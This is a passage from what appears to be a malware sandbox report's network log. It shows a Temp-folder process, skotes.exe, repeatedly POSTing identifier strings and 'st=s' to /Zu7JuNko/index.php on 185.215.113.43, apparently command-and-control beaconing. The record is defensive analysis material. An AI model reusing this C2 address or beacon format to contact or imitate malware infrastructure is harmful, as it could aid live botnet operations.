Nov 19, 2024 01:05:55.641458035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	64277	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:57.151907921 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:58.060817003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	64278	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:59.689234018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:00.622564077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	64279	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:02.149800062 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:03.061269999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	64280	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:04.689100981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:05.596784115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	64282	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:07.123269081 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:08.059436083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	64283	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:13.777420044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:14.674937963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	64294	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:16.199846983 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:17.111068010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	64296	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:18.733536005 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:19.661273003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	64297	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:21.189116955 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:22.112289906 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	64298	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:23.744071960 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:24.640710115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	64299	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:26.158973932 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:27.078821898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	64300	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:28.715559006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:29.630614996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	64301	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:31.151947975 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:32.077183962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	64302	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:33.706434965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:34.605405092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	64304	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:36.122492075 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:37.044182062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	64305	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:38.677800894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	64306	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:40.790537119 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:41.709208965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	64307	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:43.347161055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:44.259953976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	64309	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:45.785732031 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:46.689697027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	64310	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:48.318943024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:49.215667009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	64311	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:50.731966019 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:06:51.659960032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	64312	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:53.288263083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:06:54.188471079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:06:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	64313	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:06:55.707159042 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
